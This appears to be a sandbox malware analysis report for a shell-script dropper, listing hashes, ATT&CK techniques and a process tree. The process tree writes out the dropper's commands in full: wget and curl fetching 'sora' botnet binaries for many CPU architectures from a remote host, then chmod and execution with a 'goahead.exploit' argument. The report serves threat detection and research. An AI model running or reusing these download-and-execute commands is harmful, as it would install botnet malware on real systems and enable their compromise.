c6999bd9af6aa383fb2f37fb391bdf7d86141f8d284afd2ca3a3e44667dbb364

Analysis

max time kernel
64s
max time network
65s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
12/11/2024, 01:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh
Size 2KB
Sample241112-bcs1va1drm
SHA256 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b
MD5 022d4174cf8995418557252b59cda437
SHA1 fda59da305a30c26d79a6ca50629937d7abf43bc
SHA512 70c28917d02042fc6bd2cda63c4b9baae60dd39eb06688b912d7bec7b383fc9cbd2fa4e62000e7b1a41e5495078ddd00537826bca915ee41032c984c9d0a73ec
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
763	chmod
790	chmod
843	chmod
857	chmod
911	chmod
738	chmod
749	chmod
756	chmod
770	chmod
831	chmod
892	chmod
808	chmod
850	chmod
873	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	739	robben
/tmp/robben	750	robben
/tmp/robben	757	robben
/tmp/robben	764	robben
/tmp/robben	771	robben
/tmp/robben	792	robben
/tmp/robben	810	robben
/tmp/robben	833	robben
/tmp/robben	844	robben
/tmp/robben	851	robben
/tmp/robben	858	robben
/tmp/robben	874	robben
/tmp/robben	893	robben
/tmp/robben	912	robben

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
742	wget
745	curl
748	cat

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh

/tmp/3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh
/tmp/3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh
1⤵
- Writes file to tmp directory
PID:710
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86
  2⤵
  - Reads runtime system information
  PID:726
- /bin/cat
  cat sora.x86
  2⤵
  PID:736
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:739
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:742
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:745
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:750
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86_64
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  PID:753
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:755
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:757
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i468
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i468
  2⤵
  - Reads runtime system information
  PID:760
- /bin/cat
  cat sora.i468
  2⤵
  PID:762
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:764
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i686
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i686
  2⤵
  - Reads runtime system information
  PID:767
- /bin/cat
  cat sora.i686
  2⤵
  PID:769
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:771
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mpsl
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  PID:779
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:788
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:792
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm4
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm4
  2⤵
  - Reads runtime system information
  PID:799
- /bin/cat
  cat sora.arm4
  2⤵
  PID:806
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:810
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm5
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm5
  2⤵
  - Reads runtime system information
  PID:817
- /bin/cat
  cat sora.arm5
  2⤵
  PID:829
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:833
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm6
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm6
  2⤵
  - Reads runtime system information
  PID:839
- /bin/cat
  cat sora.arm6
  2⤵
  PID:842
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:844
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm7
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm7
  2⤵
  - Reads runtime system information
  PID:847
- /bin/cat
  cat sora.arm7
  2⤵
  PID:849
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:851
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc
  2⤵
  - Reads runtime system information
  PID:854
- /bin/cat
  cat sora.ppc
  2⤵
  PID:856
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben systemd-private-0d943617c3824028a7503bbf4990add1-systemd-timedated.service-prWH1r
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:858
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  PID:860
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  PID:864
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:871
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:874
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.m68k
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.m68k
  2⤵
  - Reads runtime system information
  PID:881
- /bin/cat
  cat sora.m68k
  2⤵
  PID:889
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:893
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.sh4
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.sh4
  2⤵
  - Reads runtime system information
  PID:900
- /bin/cat
  cat sora.sh4
  2⤵
  PID:909
- /bin/chmod
  chmod +x 3b6b5bbb0042cc99fd09883b213d50f6dbd9b4872c93e343b31850ca33d53d8b.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/robben
  ./robben goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads